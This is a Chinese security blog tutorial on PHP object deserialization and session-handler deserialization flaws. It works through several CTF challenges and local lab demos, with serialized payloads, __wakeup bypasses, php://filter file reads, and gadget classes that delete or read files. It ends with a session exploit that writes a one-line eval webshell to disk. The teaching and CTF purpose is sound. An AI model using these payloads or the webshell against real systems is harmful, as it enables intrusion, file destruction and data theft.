freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一文深入PHP反序列化漏洞和session反序列化漏洞(原创)
2021-08-21 20:57:29

前言

最近写题的时候,老是碰见序列化和反序列化的题,简单的还行,一复杂,我就不会了,这次系统学习一下好好总结。

PHP序列化

在了解反序列化前,先了解一下序列化。
相关函数

serialize() #将对象格式化成有序的字符串

序列化的目的是方便数据的传输和存储。
在PHP中序列化和反序列化一般用作缓存。
举个简单的例子
序列化数组

<?php
$a= array('flag','time','ddc');
echo (serialize($a));  #序列化数组
?>
a:3:{i:0;s:4:"flag";i:1;s:4:"time";i:2;s:3:"ddc";}
#a代表array 3代表数组里有三个元素
#O代表object
#i代表下标,s代表string,i代表整型,d代表浮点型

序列化类

<?php
class test{
	public $a;
	private $b;
	protected $c;
	function __construct()  #给a,b,c,赋值
	{
	$this->a='aliyun';
	$this->b='baiduyun';
	$this->c='wanxiang';
}

}
$a=new test();
echo (serialize($a));
?>

图片.png变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式 。如果直接输出会导致不可见字符<0x00>丢失。

<?php
class test{
	public $a=aliyun;
	private $b=baiduyun;
	protected $c=wanxiang;

}
$a=new test();
echo urlencode(serialize($a));
?>
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22aliyun%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A8%3A%22baiduyun%22%3Bs%3A4%3A%22%00%2A%00c%22%3Bs%3A8%3A%22wanxiang%22%3B%7D

PHP反序列化

反序列化,像它的名字一样,和序列化的过程刚好相反

相关函数

unserialize() #将有序的字符串转化为原来的对象

举个例子

<?php
class test{
	public $a=aliyun;
	public $b=baiduyun;
	
}
$a=new test();
echo (serialize($a));
print_r(unserialize(serialize($a)))
?>
 
 
 O:4:"test":2:{s:1:"a";s:6:"aliyun";s:1:"b";s:8:"baiduyun";}
 test Object
(
    [a] => aliyun
    [b] => baiduyun
)

图片.png可以说是很形象了

PHP反序列化的常用魔术方法

这些东西在百度上一搜一堆,简单列举,不在赘述

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

题目实战总结

先来简单的试试手,了解一下题目是怎么出的

攻防世界 web进阶 unserialize3

class xctf{   //定义一个xctf类
public $flag = '111';    //$flag赋值
public function __wakeup(){     //wakeup方法
exit('bad requests');
}
}
?code=     //传参

由题目和wakeup方法来看,估计后台有反序列化,我们这里传参只需要把xctf给实例化并且序列化,绕过wakeup方法即可

<?php
class xctf{   //定义一个xctf类
public $flag = '111';    //$flag赋值
public function __wakeup(){     //wakeup方法
exit('bad requests');
}
}

$a=new xctf();
echo (serialize($a));
?>
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//绕过wakeup方法,需要将类里面的属性数量不等于真实数量即可
O:4:"xctf":3:{s:4:"flag";s:3:"111";}

图片.png

得到flag

攻防世界 web进阶 Web_php_unserialize

<?php 
class Demo {                                       //定义一个类
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php    //提示flag在fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']);    //用base64解码
    if (preg_match('/[oc]:\d+:/i', $var)) {      //过滤
        die('stop hacking!'); 
    } else {
        @unserialize($var);     //反序列化得到的参数
    } 
} else { 
    highlight_file("index.php");   //返回当前页面
} 
?>

做这道题的时候,我就可迷糊,要序列化也只能序列化index.php,怎么才能回显fl4g.php呢。
后来发现真的是菜的扣脚
只需要在序列化的时候传进去一个fl4g.php的参数即可

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a=new Demo('fl4g.php');
$b=(serialize($a));
//O:4:"Demo":1:{s:10:"<0x00>Demo<0x00>file";s:7:"fl4gphp";}
$a=str_replace('o:4', 'o:+4',$b );  //绕过过滤
$a=str_replace(':1:',':2:',$a);  //绕过wakeup函数
echo (base64_encode($a));
?>

小知识点:
绕过过滤不仅可以用加号
如果+被过滤了
还可以在外面套一层数组

$a=new Demo('fl4g.php');
$b=(serialize(array($a)));

[极客大挑战 2019]PHP

图片.png可以直接想到www.zip,(因为我就知道www.zip可能会泄露源码)根备份网站有关
其实如果想不到,可以用dirsearch扫一下

**主要代码 **

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>

由代码知道需要传入password=100,uername=admin,但是还有一个wakeup方法,需要绕过

<?php
class Name{
    private $username = 'admin';
    private $password = 100;

}
$a=new Name;
$a=serialize($a);
$a=str_replace(2, 3, $a);  //绕过wakeup方法
$a=urlencode($a);   //防止\x00字符丢失
echo $a;

?>
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

payload:

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

图片.png

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {   //对各个属性赋值
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();     //指向方法process
    }

    public function process() {
        if($this->op == "1") {   //如果op=1,引用方法write()
            $this->write();
        } else if($this->op == "2") {  //如果op=2,引用方法read()和output
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) { //filename和content存在
            if(strlen((string)$this->content) > 100) {//content长度不超过100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!"); //将content写入名字为filename的文件,成功输出successful
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {    //将filename文件读入$res
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>

";
        echo $s;   //输出结果$s
    }

    function __destruct() {    //如果op=2,则使其等于1  content清空,且调用process
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++) //ord()返回字符串的第一字母的ascii码
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;//确保ASCII码均为32到125 
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str']; //把get到的str转换为字符串
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

到这里,作用分析完就没有思路了,还是写得少

如果op=1,调用write,把content写入filename中
如果op=2,调用read方法把filename的东西读出来,调用output方法,把filename读出来的东西输出
这里 思路 就有了
op=1
filename写入PHP伪协议读取flag.php

<?php
class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;
}
$a= new FileHandler;
echo(serialize($a));

?>

但是这里并不正确,因为protected的变量序列化的时候会出现\x00,其中\x00为ASCII码为0的字符,会被is_valid函数拦下来
绕过方法有以下两种
1.php7.1+的版本对属性类型不敏感,所以用public也能正常回显

<?php
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
}
$a= new FileHandler;
echo(serialize($a));

?>
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

图片.png

or this
图片.png

[ZJCTF 2019]NiZhuanSiWei

这道题和反序列化有关系,但是太简单,所以关系不大

<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br>

<h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

1.传入参数text并且用file_get_contents函数读取,注意file_get_contents此函数读取文件,不读取变量,所以不能直接传入welcome to the zjctf,需要使用data伪协议

图片.png所以
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

2.过滤了flag,看到他的提示,可以明显的知道是让查看useless.php的
所以
file=php://filter/read=convert.base64-encode/resource=useless.php

图片.png

<?php

class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file); 
            echo "<br>

";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>

话不多说,直接序列化

<?php

class Flag{  //flag.php
    public $file=flag.php;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file); 
            echo "<br>

";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a=new Flag();
echo (serialize($a));
?>
O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}   //.被过滤了,手动加把

所以
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

因为useless.php内容已经知道,所以不用查看useless.php的内容
图片.png

PHP反序列化漏洞

了解各个魔法函数执行次序

写一个简单的测试

<?php
class test{
	public $a;
	public $b;
	function __construct(){
		echo "正在调用__construct()<br>

";
	}
	function __destruct(){
		echo "正在调用__destruct()<br>

";
	}
	function __wakeup(){
		echo "正在调用__wakeup()<br>

";
	}
	function __sleep(){
		echo "正在调用__sleep()<br>

";
		return array('a','b');
	}
	function __toString(){
		echo "正在调用__toString()<br>

";
		return $this->a.":".$this->b."<br>

";
	}

}
echo "开始初始化对象<br>

";
$test = new test();
$test->a="cool";
$test->b="really";
echo "创建对象并给其属性赋值:<br>

";

echo "开始序列化对象。。。<br>

";
$str = serialize($test);
echo "对象序列化后的字符串:".$str."<br>

";
echo "开始反序列化对象。。。<br>

";
$str2 = unserialize($str);
echo $str2;
?>

图片.png

删除文件

用佬写的简单的本地案例直接拿来用了

//2.php
<?php
	class delete
{
	public $filename = 'error';
	function __destruct()
	{
		echo $this->filename." was deleted.</br>";
    //uplink函数是删除文件,dirname函数输出路径;
		unlink(dirname(__FILE__).'/'.$this->filename);
	}
}
?>
//3.php
<?php
  include '2.php';
	class student
  {
   public $name='';
   public $age='';
   public function information()
   {
     echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
   }
  }
$zs=unserialize($_GET['id']);
?>

这是在本地写的两个文件,然而真实情况并非如此。
首先你要找到2.php这种有魔法函数,且魔法函数里面还能进行一些危险操作的文件。
其次,你还需要找这个文件下面是否有serialize或者unserialize的函数,且参数可控,我们才能对文件进行危险操作。
将delete类进行序列化,且对$filename赋值为我们想删除的文件。

//test.php
<?php
//复制delete类的序列化内容
	class delete
{
	public $filename = 'error';
}
//实例化delete
$payload=new delete();
//赋值删除文件名
$payload->filename='text.txt';
//生成序列化字符串
echo serialize($payload);
?>

图片.png图片.png

测试:
图片.png图片.png
可以看到确实可以删除文件
这里只是阐述原理,现实中并非如此简单

查看文件

和删除的漏洞差不多,只需要对2.php的文件进行修改,将destruct改为toString,使用file_get_contents函数

//2.php
<?php
  class read
	{
  	public $filename = 'error';
    function __toString()
    {
      //file_get_contents()函数是把文件内容赋予一个变量
      return file_get_contents($this->filename);
    }
	}
?>
//3.php
<?php
  include '2.php';
	class student
  {
   public $name='';
   public $age='';
   public function information()
   {
     echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
   }
  }
$zs=unserialize($_GET['id']);
echo $zs;
?>

大意了,我以为3.php里面不需要改,但是最后输出了$zs,真是粗心了
构造test.php

//test.php
<?php
//复制delete类的序列化内容
	class read
{
	public $filename = 'error';
}
//实例化read
$payload=new read();
//赋值读取文件名
$payload->filename='test.txt';
//生成序列化字符串
echo serialize($payload);
?>

测试
图片.png图片.png

小结

这个漏洞并非一成不变,它可以有很多存在形式
但是也是有存在条件的

unserialize的参数可控

有对应的魔法函数里面是对文件的增删查改等操作

session反序列化漏洞

在学习之前,先了解session在PHP中的相关配置

session.save_path="" --设置session的存储路径,默认在/tmp

session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动

session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php

其中用来处理序列化和反序列化的处理器并非只有php
处理器:

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 **

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值 **

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 **

上面的知识都是可以百度的
下面写一个简单的例子展示一下session的存储过程

//session.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
//session,serialize_handler是设置Session的序列化引擎,默认为php引擎
session_start();
$_SESSION['pdd']=$_GET['pdd'];
?>

访问127.0.0.1/session.php
随便传入值
图片.png到保存session的文件夹

图片.png然后就可以了解session 反序列化的原理了
分析:
选择不同的处理器,处理方式也不一样,如果序列化和储存session与反序列化的方式不同,就有可能导致漏洞的产生。

别的师傅提供的demo,我修改了一下

//session.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ddd']=$_GET['ddd'];
?>
//test.php
<?php
ini_set('session.serialize_handler',"php");
session_start();

class ddd{
  var $a;
  function __destruct(){
    $fp = fopen("D:\phpstudy_pro\WWW\shell.php", "w");
    fputs($fp,$this->a);
    fclose($fp);
  }
}
?>

可以看到两个页面的session序列化反序列化均不同
我们的目的就是利用session反序列化漏洞写入一个一句话木马

首先访问第一个页面,传入我们实例化且赋值的ddd类。

<?php
 class ddd{
     var $a='<?php eval($_POST["abc"]);?>';

	}
$s=new ddd();
echo serialize($s);
?>
O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
\\要手动在最前端加  |  来满足第二个页面php的引擎
http://127.0.0.1/session.php?ddd=|O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}

图片.png

再访问test.php之后,查看本地的www文件,出现shell.php,写入成功。
图片.png其原理就是:php_serialize处理器把 | 当成字符串处理,但是php处理器, 把竖线看做键名与值的分割符。导致 第二个文件解析session文件的时候,直接对竖线后面的值,进行反序列化处理。
这里我也不明白,为什么会直接对竖线后的值进行反序列化处理
查到Y4爷有解释
因为**session_start()**这个函数
session_start()官方文档:

_当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $SESSION 超级全局变量

总结

通过这些实战,我也是比较了解序列化和反序列化了。以后遇见相关新知识点还会再写。
加油!!!!

参考

链接
链接
链接

# web安全 # CTF # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录